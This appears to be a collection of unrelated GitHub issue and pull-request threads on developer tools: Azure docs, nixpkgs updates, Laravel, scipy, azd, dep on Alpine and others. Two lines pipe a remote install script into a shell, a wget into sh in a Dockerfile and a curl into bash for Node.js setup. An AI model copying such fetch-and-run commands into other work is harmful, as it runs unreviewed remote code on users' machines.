) -> Dict[str, Any]:
    _run_manager = run_manager or CallbackManagerForChainRun.get_noop_manager()
    input_text = f"{inputs[self.input_key]}\nSQLQuery:"
    _run_manager.on_text(input_text, verbose=self.verbose)
    # If not present, then defaults to None which is all tables.
    table_names_to_use = inputs.get("table_names_to_use")
    table_info = self.database.get_table_info(table_names=table_names_to_use)
    llm_inputs = {
        "input": input_text,
        "top_k": str(self.top_k),
        "dialect": self.database.dialect,
        "table_info": table_info,
        "stop": ["\nSQLResult:"],
    }

How can we implement this in Multiprompt chain.


Stolen Plugin

This is stolen L

Sorry This was from a deal that was a scam If you wish to talk to me more dm me at 9 S3S4#0662


Added uptime with better readability

GNU Uptime does not have a -p flag, only ProcPS Uptime has it. This is a fetching tool meant to work on all unix* system.

Yes they do have it as they work on my system

Yes they do have it as they work on my system

only on your system, as i said GNU Uptime doesn't have -p flags option, on some linux distro or unix system will complaint uptime: invalid option -- 'p'

Hm...

Alr close this PR then


Incorrect github repository secret for ACR

In section: https://docs.microsoft.com/en-us/azure/azure-arc/kubernetes/tutorial-gitops-flux2-ci-cd#create-github-repository-secrets
This secret isn't used but we are told to create it:

AZURE_VOTE_IMAGE_REPO
The full path to the Azure Vote App repository, for example azurearctest.azurecr.io/azvote

The script buildContainerTemplate.sh fails as it expects an environment variable called "AZ_ACR_NAME".
Instead we should create a repository secret like so:

AZ_ACR_NAME
The name of the Azure Container Registry resource to publish the azure vote container images, for example arc-demo-acr

In https://github.com/Azure/arc-cicd-demo-src/blob/master/.github/workflows/az-vote-cicd.yml#L17 we should change:
AZ_ACR_NAME: gitopsflowacr
to:
AZ_ACR_NAME: ${{ secrets.AZ_ACR_NAME }}

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 72579f7e-b040-d514-cf8f-422a66ceb0b0
Version Independent ID: 22d40926-4a12-7387-61b5-04805b1d5c83
Content: Tutorial: Implement CI/CD with GitOps (Flux v2) - Azure Arc
Content Source: articles/azure-arc/kubernetes/tutorial-gitops-flux2-ci-cd.md
Service: azure-arc
Sub-service: azure-arc-kubernetes
GitHub Login: @eedorenko
Microsoft Alias: iefedore

@eedorenko
Can you please check and add your comments on this doc update request as applicable.

#reassign:JnHs

Hi @clarenceb, first of all let me apologize for the extremely long time to respond. Your suggestions are appreciated and we've made the changes you suggested. Thank you for taking the time to help us improve the docs, and again, sorry for the long delay.
#please-close


ddns-go: 6.6.9 -> 6.7.0

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/jeessy2/ddns-go/releases.
meta.description for ddns-go is: Simple and easy to use DDNS
meta.homepage for ddns-go is: https://github.com/jeessy2/ddns-go
Updates performed

Golang update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 6.7.0 with grep in /nix/store/2bnz661c5qvnb8sxfk4f47889dq88kkg-ddns-go-6.7.0
found 6.7.0 in filename of file in /nix/store/2bnz661c5qvnb8sxfk4f47889dq88kkg-ddns-go-6.7.0

Rebuild report (if merged into master) (click to expand)

2 total rebuild path(s)

2 package rebuild(s)

First fifty rebuilds by attrpath

ddns-go

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/2bnz661c5qvnb8sxfk4f47889dq88kkg-ddns-go-6.7.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A ddns-go https://github.com/r-ryantm/nixpkgs/archive/c5d306a46e9e5f9abc80c4a5b109eea2a0303460.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/c5d306a46e9e5f9abc80c4a5b109eea2a0303460#ddns-go

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/2bnz661c5qvnb8sxfk4f47889dq88kkg-ddns-go-6.7.0
ls -la /nix/store/2bnz661c5qvnb8sxfk4f47889dq88kkg-ddns-go-6.7.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

ddns-go

Maintainer pings
cc @oluceps for testing.

[!TIP]
As a maintainer, if your package is located under pkgs/by-name/*, you can comment @NixOS/nixpkgs-merge-bot merge to automatically merge this update using the nixpkgs-merge-bot.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 338292 run on x86_64-darwin 1

1 package built:

ddns-go


Can you support Oracle？

Can you support Oracle drive

directly we have no means to support oracle drivers, due at least to licensing (both linking and testing). You can try brave-p6spy. I'm not sure, but it is possible you can instrument client connections to oracle through that.

Thank you. Can you give me an example? It's best to combine Zipkin

the instructions are here
https://github.com/openzipkin/brave/tree/master/instrumentation/p6spy


Steps' conditions are evaluated even when in a non-final state.

Describe the bug
Steps' conditions are evaluated even though the step didn't reach a state that won't change anymore (i.e.: a "final" state), like DONE. Since these conditions can change the step's state, this state may change even when the step isn't fully executed. Whether or no to evaluate such conditions is defined at: https://github.com/ovh/utask/blob/master/engine/step/step.go#L534 and looks like:
func AfterRun(st *Step, values *values.Values, ss StateSetter) {
	if st.skipped || st.State == StateServerError || st.State == StateFatalError || st.ForEach != "" {
		return
	}
	// Evaluate step's conditions
}

When a step uses the subtask plugin for instance, the step falls in the WAITING state until the spawned task finishes, but its conditions are still evaluated when it reached this state. Since the spawned task isn't DONE, its result may be wrong (e.g.: unevaluated templated results), so a step condition checking the subtask's result will use wrong values.
To Reproduce
Steps to reproduce the behavior:

Create a task template with a result_format containing at least one key, like:

name: subtask-test-condition
title_format: 'Subtask test condition'
description: 'Template to be called as a subtask'

auto_runnable: true

result_format:
  some_key: '{{ .step.SomeStep.output }}'

steps:
  SomeStep:
    description: Some step
    action:
      type: echo
      configuration:
        output: "true"

Create another task template that will call the previous template in a subtask and add a check condition on the subtask's result, like so:

name: test-step-condition
title_format: 'Test step condition'
description: 'Test step condition'

auto_runnable: true

steps:
  CallingSubtask:
    description: Calling the subtask
    custom_states:
      - MY_CUSTOM_STATE
    action:
      type: subtask
      configuration:
        template: subtask-test-condition
    conditions:
      - type: check
        if:
          - value: '{{ .step.this.output.result.some_key }}'
            operator: NE
            expected: "true"
        then:
          this: MY_CUSTOM_STATE

Check the step's state. It shouldn't be MY_CUSTOM_STATE since the subtask returns "true", yet it is.

Expected behavior
Steps' conditions should only be evaluated when a step reached a final state, like DONE.

A way to work around this issue is to also check the subtask's state before checking its result, like:
    conditions:
      - type: check
        if:
          - value: '{{ .step.this.output.state }}'
            operator: EQ
            expected: DONE # Or any state considered "final" in for the subtask
          - value: '{{ .step.this.output.result.some_key }}'
            operator: NE
            expected: "true"
        then:
          this: MY_CUSTOM_STATE

Thank your for your contribution!


VS Code: 2 less number of lines are being selected in Context when user click on "Explain" for any code selection

Version
v1.4.1
Describe the bug
Steps to reproduce:

Have Cody extension installed in your VS Code
User is already logged in to Cody
Open any file and select a code snippet or whole file
Click on "Explain" from "Commands"
Select drop arrow from chat transcript and check the @filename: lines

Observed behavior:
Count is showing wrong here and it is showing 2 less number of lines than actual lines of code.
Expected behavior
It should display correct lines count for the context.
Additional context
Screenshot:

Another great bug report.  Thanks @jay-fibi.


No contact info when monitoring a voice call

When monitoring a voice call, no contact info is given, getMonitorInfo() returns undefined, and the contact has no name or attributes.
Additionally the contactId of the monitored call does not match the contactId of the contact who is connected to the agent, so we can't do any backend joining of the contactIds to fetch the contacts information.
Is this a bug? Chat contacts work fine so I wasn't sure if this is unimplemented or a deliberate decision.

Hi, sorry for the delayed response. Yes, I can reproduce this and I believe this is a bug. Marked as a bug to track this issue.

Hi, sorry for the long response, the issue is still being tracked.

open almost for 2 years, is the issue still being tracked? :) Any target date?

Hi, apologies for the delayed response. We discussed this behavior with other internal teams and the answer is that the current behavior is by design. Originally monitoringInfo field is populated to differentiate the agent names when manager is monitoring multiple agents, but since manager can only monitor one voice contact we don't need such identifier. If you would like to submit a feature enhancement request, please do so via your TAM. Thank you


update background_layers.gpkg with layers with current names so our summary table shows description and url

some are old still

mergin v103 was save before update
v104 has new layers with old removed
removed were:
rfp::rfp_u_rm_gpkg_layers("~/Projects/gis/sern_peace_fwcp_2023/background_layers.gpkg",
                     layers_remove = c('fiss_obstacles_pnt_sp',
                                       'ften_road_section_lines_svw',
                                       'pmbc_parcel_fabric_poly_svw',
                                       'transport_line'))


[Translation] How can I translate texts in commento on my site?

Hello,
How can I translate commento on my site? for example I have button with text "ADD COMMENT" and I need translate it. I thought, I can do it by CSS -> content, but I can't see which selectors I need to use, how a lot of text I need to translate. Is there file, where are all texts and css selectors, which can use to translation?

Please use the Gitlab tracker for new issues. This Github repo is just a code mirror.
Here's the relevant issue on Gitlab: https://gitlab.com/commento/commento/issues/28
To answer your question, you can do this only after i18n is implemented. As I mentioned in the above issue:

I'm sorry, but this isn't very high in my priority list. I understand that i18n is important (English isn't my first language, so I really understand), but right now I'm focusing on other features. I'll come back to this in a couple of month to think about how best I can solve this (unless someone beats me to it by submitting an MR :P)


自己写规则呗

自己写规则呗

GEOSITE,gfw,GFW
GEOIP,cn,直连
MATCH,直连

Originally posted by @zxggg566 in https://github.com/vernesong/OpenClash/discussions/3382#discussioncomment-11012006

回复怎么发到issue里面来了

自己写规则呗

GEOSITE,gfw,GFW
GEOIP,cn,直连
MATCH,直连

Originally posted by @zxggg566 in #3382 (reply in thread)


Patch 1

By analyzing the blame information on this pull request, we identified @lacker and @alexleventer to be potential reviewers.

Thank you for your pull request and welcome to our community. We require contributors to sign our Contributor License Agreement, and we don't seem to have you on file. In order for us to review and merge your code, please sign up at https://code.facebook.com/cla - and if you have received this in error or have any questions, please drop us a line at<EMAIL_ADDRESS>Thanks!

Thanks for your pull request! The guidelines in this file state:
Thousands of applications use React Native, so we can't list all of them
in our showcase. To be useful to someone looking through the showcase,
either the app must be something that most readers would recognize, or the makers of the application must have
posted useful technical content about the making of the app. It also must be useful considering that the majority
of readers only speak English. So, each app in the showcase should link to either:
1/ An English-language news article discussing the app, built either by a funded startup or for a public company
2/ An English-language technical post on a funded startup or public company blog discussing React Native
It looks like this submission doesn't meet the requirements at this time, so I'm going to close the pull request.


ERROR: required external tools are missing: Python CLI is not installed

Please provide us with the following information:

This issue is for a: (mark with an x)
- [X ] bug report -> please search issues before submitting
- [ ] feature request
- [ ] documentation issue or request
- [ ] regression (a behavior that used to work and stopped in a new release)

Minimal steps to reproduce

Install azd
azd auth login
azd init -t azure-search-openai-demo
Add a new environment name
azd up

Any log messages given by the failure
? Please select an Azure Subscription to use:  1. MY_AZUR_SUB
? Please select an Azure location to use: 47. (US) South Central US (southcentralus)

Packaging services (azd package)

ERROR: required external tools are missing:
 - Python CLI is not installed, please see https://wiki.python.org/moin/BeginnersGuide/Download to install

Expected/desired behavior
I definitely have python installed!
OS and Version?
Windows 11 Pro
Versions
Version	10.0.22000 Build 22000
Mention any other details that might be useful

Tried both the integrated powershell terminal in VS Code and standalone powershell terminal.
Same issue

Thanks! We'll be in touch soon.

Installed python 3.11 and azd up worked. But why?

Installed python 3.11 and azd up worked. But why? I definitely had python already installed. I use it everyday.

I think it depends on how you had python installed. I had the same issue and re-installing python 3.11 from python.org/downloads fixed it. I don't remember exactly how I installed python 3.11 previously, but I too have been using python on my machine forever but I definitely did not recognize the installer experience from the installer downloaded from python.org. Either way, azd up works for me now for this project.

Same here. Python from Microsoft store didn't work. I re-installed python from python.org and azd up works as expected.
https://www.python.org/downloads/

Same issue with the azure cli not finding python/python3 even though it can be found in a terminal after installing with yum on a Red Hat Linux OS:

@vprzybylo , the script uses python instead of python3.
You can either update the script on your end to use python3 or you can see if python-is-python3 is available for Red Hat (it is for Ubuntu), which would create the alias on your system for python

@vhvb1989 thanks for the response. No luck changing python3 to python in prepdocs.sh and I set up an alias for python to point to /usr/bin/python3. Both python and python3 are found and bring up the python interpreter from a terminal but 'azd up' doesn't recognize the installation.

@vprzybylo , can you run azd up --debug and share the output.
azd looks for phyton on system path.  I'd like to see the full error on stderr (if available, for azd)

--debug doesn't give any specific python error. The system path for python is /usr/bin/python

@vprzybylo , I just noticed that on your case, azd is falling even before running prepdocs script.
azd is failing to detect python within your system.
azd looks for python3 to be in the path (code here).
Can you tell what RedHat version are you using. I will try to repro on my side.

@vprzybylo, I couldn't repro on Red hat 8.5.0-18
I installed python using sudo yum install python38 and/or sudo yum install python39.
(can't use sudo yum install python3 as it get python 3.6, and azd requires python >= 3.7)
For node, I used fnm like fnm use 18.  This is b/c installing nodjs with yum was also pulling python 3.6.
Can you tell if you are also using yum ?
btw, having same results with dnf

Thanks for trying to reproduce. Here is some more info:

I used sudo yum install python39 and curl -sL https://rpm.nodesource.com/setup_x.x | bash with yum install -y nodejs and checked that there is no python3.6 installed in /usr/bin. I also tried spinning up a fresh VM to reinstall the requirements with fnm but ran into the same issue.


Get the view problem

I tried this method, but it will refresh all the items and it is expensive to set the visibility of the progressbar.
    private fun setLoadingStatus(isLoading: Boolean) {
        val abstractItem = adapter!!.getItem(0)
        val headerItem = abstractItem as NearbyPlacesHeaderItem
        headerItem.isLoading = isLoading
        adapter!!.notifyDataSetChanged()
    }

@davideas How to get the "progressbar" view in the Item through the Adapter in the Activity?
class PlacePickerActivity : BaseActivity(),
        FlexibleAdapter.OnItemClickListener {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        button.setOnClickListener {
            if (status) {
                progressbar.visibility = View.GONE
            } else {
                progressbar.visibility = View.VISIBLE
            }
        }
    }
}

data class NearbyPlacesHeaderItem(val id: String) : AbstractFlexibleItem<NearbyPlacesHeaderItem.ViewHolder>() {

    override fun getLayoutRes(): Int {
        return R.layout.item_nearby_places_header
    }

    override fun createViewHolder(view: View, adapter: FlexibleAdapter<IFlexible<RecyclerView.ViewHolder>>): ViewHolder {
        return ViewHolder(view, adapter)
    }

    override fun bindViewHolder(adapter: FlexibleAdapter<IFlexible<RecyclerView.ViewHolder>>?, holder: ViewHolder?, position: Int, payloads: MutableList<Any>?) {
    }

    class ViewHolder(view: View, adapter: FlexibleAdapter<*>) : FlexibleViewHolder(view, adapter) {
        var progressbar: ProgressBar = view.findViewById(R.id.progressbar)
    }
}

@tcqq, you receive a callback by implementing this method: boolean onItemClick(View view, int position); the view is the View that received the click event. If it is not what you search and if you really want the ViewHolder you can use recyclerView.findViewHolderForAdapterPosition().

Thank you.


Segmentation fault golang alpine

using this simple Dockerfile;
FROM golang:alpine
RUN apk add git && \
    wget -q -O - https://raw.githubusercontent.com/golang/dep/master/install.sh | sh

Assuming docker build -t <tag> . and docker run -it --entrypoint=/bin/sh <tag>
Running dep init produces Segmentation fault. and which dep produces /go/bin/dep as expected.
Is alpine not yet supported?

alpine uses musl libc versus glibc, so you will need to use the alpine packaged version of dep - the releases link to glibc.  if you include the alpine community repository this should be available.  Alternatively, you can amend the Dockerfile to build dep from source.

as a followup, this works for me:
FROM golang:alpine
RUN apk add git && apk add dep

406812a41c0e:~# dep version
dep:
 version     : 0.5.0
 build date  :
 git hash    :
 go version  : go1.12.5
 go compiler : gc
 platform    : linux/amd64
 features    : ImportDuringSolve=false
406812a41c0e:~#

Verified working :+1:
Suggest an alpine support section of the docos to describe this, i went looking and had to report it here, of course only needed if there's no intention to support alpine via install.sh going forward


HostType fix

Due to a race condition the hostType collected for bare metal instances was, in the majority number of cases, set to Unknown.
The collection of local hostType is done when cloud metadata is disabled or when the agent determines the agent is not running on one of the supported cloud environments.
The testing for cloud environment can take time and invalidates collection of local hostType information as this is only collected at the start of the hostInfo plugin while cloud detection is still in progress.
This changes allow the agent to collect local hostType reverting then to cloud hostType if a cloud environment is detected.

Pull Request Test Coverage Report for Build 354218962

0 of 5 (0.0%)  changed or added relevant lines in 1 file are covered.
2 unchanged lines in 1 file lost coverage.
Overall coverage decreased (-0.0008%) to 58.028%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

internal/plugins/linux/hostinfo.go
0
5
0.0%

Files with Coverage Reduction
New Missed Lines
%

pkg/metrics/sampler/sampler_routine.go
2
94.74%

Totals

Change from base Build 349831427:
-0.0008%

Covered Lines:
11179

Relevant Lines:
19265

💛  - Coveralls

Sorry, still looking into this to make sure this does not break anything down stream.


Possible building scenario question

I looked through docs and issues, but steel have question. I need build steps like these:

Create conda env on local host
Build project without follow imports
Create simillar conda env on remote host (with same OS)
Copy built files there
Run project on the remote conda env

Is it possible with nuitka? Otherwise build time is very long.

Yes


feh: add module

Didn't know about this feature, thank you. Wrapped the url in a link tag.

Good stuff! Rebased into master in f5289c546e82507537b42f7b26eba2731966cb60. Thanks :-)


Unregister custom block

Hi, i am trying to adapt the Editor to work with multiple users, each with his own Custom Blocks.
I want to unregister the blocks of a user when i close the editor, so i can register the blocks of the next user or re-register the blocks but with different styles, but the BlockManager doesn't seem to have the option to remove them.
Is there a way to unregister them, or a better way to approach this situation?
Thanks and thanks for this awesome editor.

There are currently no options for deletion. If you need to overwrite, just register again.


Rename sum ndimage function

The scipy.ndimage function sum overlaps with the Python builtin sum. This can cause issues both within code trying to implement this scipy.ndimage function (like if it needs the builtin sum) and can cause issues in downstream user code should they import sum (like from scipy.ndimage import sum). It would preferable to rename this function to something that does not overlap with the Python builtin (like summation, sum_by_labels, ...?).
cc @jni @GenevieveBuckley

Agreed this is problematic.
Rather than rename I'd prefer an alias:
def sum_by_label(...):
    ...

sum = sum_by_labels

And we update the docs to refer to the new name. It's backward compatible with old code that way.

Yeah that seems like a reasonable path forward.
Would we want to start warning with the old function name?

It's probably not worth it because there is little cost to keeping the old name around.

Wouldn't the point of creating a new name be to deprecate the old one?  If not, why not just live with the old one?

Wouldn't the point of creating a new name be to deprecate the old one?

The main point in my mind is to make it so that people can do:
from scipy.ndimage import sum_labels

instead of what we have now:
# bad for overwriting builtin
from scipy.ndimage import sum
# bad for scientific Python ecosystem consistency
from scipy.ndimage import sum as sum_labels

Fixing this would be my priority.
Leaving sum in the namespace comes at little cost (mostly just the sum = sum_labels line). Removing sum from the namespace, on the other hand, has costs in terms of users who have old code. This does not seem worth it to me.
Leaving sum in also is not great for consistency, but 1) having sum and sum_labels is still better than everyone having their own from scipy.ndimage import sum as ... line with different names, and 2) we can just let sum die off on its own.
That being said, if people really like the idea of deprecation I can live with it.

+1 for adding an alias. This is one of the more often used builtins, and adding an alias has few costs. Nice reasoning @larsoner

none of these "uses a builtin name" are defects by the way, removed the label

none of these "uses a builtin name" are defects by the way, removed the label

I'll have to create a "pet peeve" label and add it then :)

no objections and a couple of +1's, let's call this decided. @jakirkham can we tempt you to open a PR?


Fix "connectionType" and "dataSource" information

Should be
"connectionType": "cloud",
"dataSource": "poll",

instead of
https://github.com/rg-engineering/ioBroker.daswetter/blob/cb59649c780970510759f2f7b0057158c40c4537/io-package.json#L135-L136
Documentation: https://github.com/ioBroker/ioBroker.repositories/blob/master/README.md#connection-types

done with 3.0.9


[MS Teams] Service intermittent for proactive messages?

System Information

SDK Language: Node.js
SDK Version: Last
Development Environment: Auzure Web Service

Bot Info

Bot name: taskbot-prod
Bot handle: taskbot-prod
App ID: 1b435929-3da2-46ed-8ccc-29ecb50cf350
Connected channels: MS Teams

Issue Description
It seems that my dialog is not started when I try to send a proactive MS Teams message. I calculate that the 50% of the proactive message arrives. It was working perfectly at 8 am, but since 10 am it was very intermittent.
Code Example
bot.dialog("/Debug", [
  function (session, args, next) {
    session.endDialog("Hello");
  }
]);

var address = {
	"channelId" : "msteams",
	"bot" : {
		"id" : "28:1b435929-3da2-46ed-8ccc-29ecb50cf350",
		"name" : "taskbot-prod",
		"nickname" : "taskbot-prod"
	},
	"serviceUrl" : "https://smba.trafficmanager.net/amer-client-ss.msg/",
	"user" : {
		"id" : "29:1rf-2Bm6aD0BWc-yRNDFcgOBG1-uSaEjCWtJcoR-rcU-Humz3a_RddsCKifHqYpvNSUosrRpxUnYL907Qa1ZZuw",
		"name" : "John Smith"
	},
	"channelData" : {
		"tenant" : {
			"id" : "adb94d72-6cf3-4244-86ae-aa69c9f2ad43"
		}
	}
};

bot.beginDialog(address, "/Debug", {});

Steps to Reproduce the Issue

Send a proactive message using bot.beginDialog

Expected Behavior
Send the messages all the times.
Actual Results
No errors, only the dialog is not invoked and the messages are not being delivered.

@RichMoeMSFT

@toxtli Can you list a specific conversation ID and exact time+timezone when you experienced the error? Thx

Closing the issue as it seems inactive. Feel free to reopen if you any questions or comments.


COnformal Bayes classification

i have some doubts on how to correctly create a conformalized bayes classifier with laplaceredux.
Laplaceredux approximate the posterior predictive distribution with a multidimensional gaussian, so for each element in the calibration set we get the Approximated MAP vectot  f\mu and a  variance matrix.
i am not sure how to use these results to  create a discrete conformal set.

Let's double-check in Murphy p. 360

Let's double-check in Murphy p. 360

yeah, i don't get why he integrate the product of the cdf with the pdf  and what it has to do with the computation of the predictive posterior distribution


Support Toast or Popover for field error messages

Currently, the number/text fields support NumberFieldErrorMessage or similar components for displaying an invalid state, however, in a busy form where there isn't much space to add the error messages, it's hard to display the error message underneath the field. Can you support popover or toasts as well for those?
(
    <NumberField
      class="flex w-36 flex-col gap-2"
      onRawValueChange={setRawValue}
      validationState={rawValue() !== 40 ? "invalid" : "valid"}
    >
      <NumberFieldGroup>
        <NumberFieldInput />
        <NumberFieldIncrementTrigger />
        <NumberFieldDecrementTrigger />
      </NumberFieldGroup>
      <NumberFieldErrorMessage>Hmm, I prefer 40.</NumberFieldErrorMessage>
    </NumberField>
  )

Hi @aminya,
thanks for the input, but I think stuff like this can already be done by combining the field with a popover.
Just make the input the popover-trigger and the message the popover-content. :)
If this is something people need/want more often than not I might add an example to the docs. :)

Just tested it with a tooltip inside modular-forms:

<Field name="email">
          {(field, props) => (
            <TextField validationState={field.error ? "invalid" : "valid"}>
              <TextFieldLabel>Email</TextFieldLabel>
              <Tooltip>
                <TooltipTrigger
                  as={TextFieldInput}
                  {...props}
                  type="email"
                  autocomplete="username"
                  required
                />
                <TooltipContent>
                  <TextFieldErrorMessage>{field.error}</TextFieldErrorMessage>
                </TooltipContent>
              </Tooltip>
            </TextField>
          )}
        </Field>


user identity usage for policy assignment on subscription scope

We have the Blueprint deployment for Azure environment through Azure Devops on a Management group scope.
For all the policy assignment we are using the system-assigned managed identity. These are mainly for our Private endpoint A record policy with "deploy-if-not-exist" effect.
But the issue we have is there are too many system-assigned managed identity are getting created (approx. 1700, for our over 100 subscriptions.)
Thus we want to look for a solution to use user-assigned managed identity. However the issue with it is, it can be assigned only on subscription level and not on Management group level.
Can someone please provide a solution for this issue.

@rashid199, kindly share the document you're referencing so we can assign to the appropriate team. This repo is for doc related issues. Thanks.

Following up on above request so I can assign this issue to appropriate team. Thanks.

Here is the related link

https://docs.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/private-link-and-dns-integration-at-scale


Implement AveragePool Op

To be able to import specific convolution models from ONNX, there is a need for a (Global) Average Pooling Operator as described in ONNX Documentation.
I have found some explanation of the concepts here.

both local and global versions are already implemented


feat: Lens contract address registration

Issue: Feature- Lens contract write function
Description
Lens contract storage has to be designed to interact with Rosetta. Address registration has to be permissionless and has to be checked for collisions (possibility is very low but theoretically possible).
Convert sn address in felt range to 160-bit eth address equivalent and write to storage.
Requirements
Tests have to be implemented correctly.
Completion Time
The issue is assumed to be completed in 5 days. If you need more time, please also specify that.

Ill self assign this to complete asap to not block rpc part.

This issue can be closed.

https://github.com/keep-starknet-strange/rosettanet/pull/14 Completed


Review: Classes DSL

Most MUI components have a classes prop that is used to set class names of MUI's internal sub-components (or for specific pseudo-selectors or component states). The allowed rule names vary per component.
Here's the JS native API:
<Button
  classes={{
    root: "foo"
    label: "bar"
  }}
>

Here's an example of the view DSL with the classes prop:
Mui.button [
  button.classes [
    classes.button.root "foo"
    classes.button.label "bar"
  ]
]

The button.classes prop is defined like this:
https://github.com/cmeeren/Feliz.MaterialUI/blob/adb43cba1d6b9aea2153da32a9987d608159ed92/src/Feliz.MaterialUI/Props.fs#L338
The actual classes are defined like this:
https://github.com/cmeeren/Feliz.MaterialUI/blob/adb43cba1d6b9aea2153da32a9987d608159ed92/src/Feliz.MaterialUI/Classes.fs#L116-L123
With a design like this, it's impossible to use incorrect rule names.
Is this design and implementation OK?

Ideally, I'd like to flatten it:
Mui.button [
  button.classes.root "foo"
  button.classes.label "bar"
]

But this of course causes problems in the prop generation, since classes is a sub-object.
I had an early hack going where I used prop names like "classes.root", and when creating the prop object from the IReactProperty list I extracted props with . in the name, split them on . and created a sub-object. The API was nice, but I was concerned about performance since this was done for every single prop list in the whole app. (I didn't measure anything, though.) Inputs on this approach are welcome.

I'm ok with current solution. It's the same as prop.style usage.


Fix: Send Recovery Notification from Previous Incident Before Monika Restart in Symon Mode

Monika Pull Request (PR)
What feature/issue does this PR add
Send recovery notification from previous incident before Monika restart in Symon mode.
How did you implement / how did you fix it

Add some tests.
Receive last event alert id data from Symon.
Construct probe incident state from last event data.

How to test

Make an incident probe.
Stop Monika.
Make the probe target healthy.
Run Monika.

Video
https://github.com/hyperjumptech/monika/assets/15191978/d51f5464-1cc8-4678-8d77-27ddb18916bd

It works as expected, thanks!

Preparing review...


[6.x] Fix Eloquent loadMissing() with 4 or more length relations

This pull request fixes Eloquent loadMissing() error when we input 4 or more length relations.
Currently, loadMissing() may throw BadMethodCallException when we input 4 or more length relations and an Intermediate relation is one-to-one or one-to-many(inverse) relationships.
I add a test demonstrates the bug and fix loadMissing().

What is so magical about the number 4 here?

Closing pending inactivity.

I've just encountered this issue.
It's nothing special about 4 relationships.
You can reproduce it with just 3 if the first relationship returns a single item or null and the second relationship returns a collection.
Let's say you have a collection of 4 users that may or may not have a profile, and each profile can have a number of posts and each post can have some comments.
The collection of users looks like this:
[ User, User, User, User ];

Then you call $users->loadMissing('profile.posts.comments)`.
At the end of the first pass of the loadMissingRelation method you have a collection that can look like this:
[ null, null, Profile, null ];

In the second pass it will load the posts on the one profile that is not null:
$models->filter(function ($model) use ($name) {
    return ! is_null($model) && ! $model->relationLoaded($name);
})->load($relation);

and then plucks the posts from the array which gives an array like this:
[ null, null, CommentCollection, null ];

Then this bit of the method
if ($models->first() instanceof BaseCollection) {
    $models = $models->collapse();
}

Which should collapse it because the relationship returns a collection, doesn't because the first item is null.
So then when it makes the final pass trying to load comments, this bit fails:
$models->filter(function ($model) use ($name) {
    return ! is_null($model) && ! $model->relationLoaded($name);
})->load($relation);

Because $model is a collection and doesn't have the method relationLoaded.


Experimental opam-slim tag

resolves #36
opam-bin opam-slim tag:

has empty opam environment

no ocaml compiler
no system packages to compile ocaml packages
satysfi, satyrographos, and satysfi-dist are installed but their dependencies are not installed
each version of satysfi, satyrographos, and satysfi-dist is formed like NAME.VER+bin+HASH

so we cannot install satysfi packages that depends on exect version of satysfi, satyrographos, and satysfi-dist

is 8x smaller than full
is experimental

it contains many hacks
the tag name may be changed in the future
(...and I don't want to maintain this tag because it is too hard to debug)

latest => 809.82 MB
opam-bin => 166.21 MB
slim => 52.47 MB

166.21 MB -> 104.48 MB

tsukareta


find doesn't seem to work or I am doing it wrong

I created a test backup repo and backuped some files and snapshots. I tried finding a file by doing the following
/tmp/restic_bin -r /tmp/backup find settings.html
and after entering my password it says
id f3a29ce51d511cfd27d30d3d711b753b2b5f719f9e7636a0285d5ca9a0230ac0 not found in index
but the file exists, I checked it using
find ./ -name "settings.html" in the fuse mounted directory. Am I missing something or is find not completely implemented at the moment? It's also not documented on https://restic.github.io/manual.html

Thanks for raising this issue, this is indeed a bug.

This is fixed in #290, thanks for reporting!


Improve Justfile

Fixes #217
... does better cleanup of files and resources (processes).
... the "test" target actually runs all tests, as expected.
... enables concurrent testing on CI, which is otherwise broken due to clashing on the Cypress port.

To be clear, this enables test splitting if you run multiple processes due to the randomization of the trunk port?

Well, it removes one more reason what that wouldn't work - namely, the port conflict.


Test Case Order Adjustment

'Chrome Settings' test case order adjustment.

Codecov Report

Merging #15 (eab6bb4) into main (4ec20fe) will decrease coverage by 32.98%.
The diff coverage is n/a.

@@              Coverage Diff              @@
##               main      #15       +/-   ##
=============================================
- Coverage     98.96%   65.97%   -32.99%
+ Complexity       26       20        -6
=============================================
  Files             1        1
  Lines            97       97
  Branches         10       10
=============================================
- Hits             96       64       -32
- Misses            1       29       +28
- Partials          0        4        +4

Impacted Files
Coverage Δ

...java/io/github/abhinavminhas/ShadowRootAssist.java
65.97% <0.00%> (-32.99%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4ec20fe...eab6bb4. Read the comment docs.


Connet set CreateContainerParameters Hostname

Output of dotnet --info:
.NET Command Line Tools (2.1.104)

Product Information:
 Version:            2.1.104
 Commit SHA-1 hash:  48ec687460

Runtime Environment:
 OS Name:     Windows
 OS Version:  10.0.17134
 OS Platform: Windows
 RID:         win10-x64
 Base Path:   C:\Program Files\dotnet\sdk\2.1.104\

Microsoft .NET Core Shared Framework Host

  Version  : 2.0.6
  Build    : 74b1c703813c8910df5b96f304b0f2b78cdf194d

What version of Docker.DotNet?:
3.125.2

Steps to reproduce the issue:
Create container using CreateContainerParameters.Hostname
e.g: .Hostname = "MyName"
What actually happened?:
The created container got a replacement name like xenodochial_aryabhata, gifted_goldberg etc.
Just like one would receive when one would not provide a name for a new container.
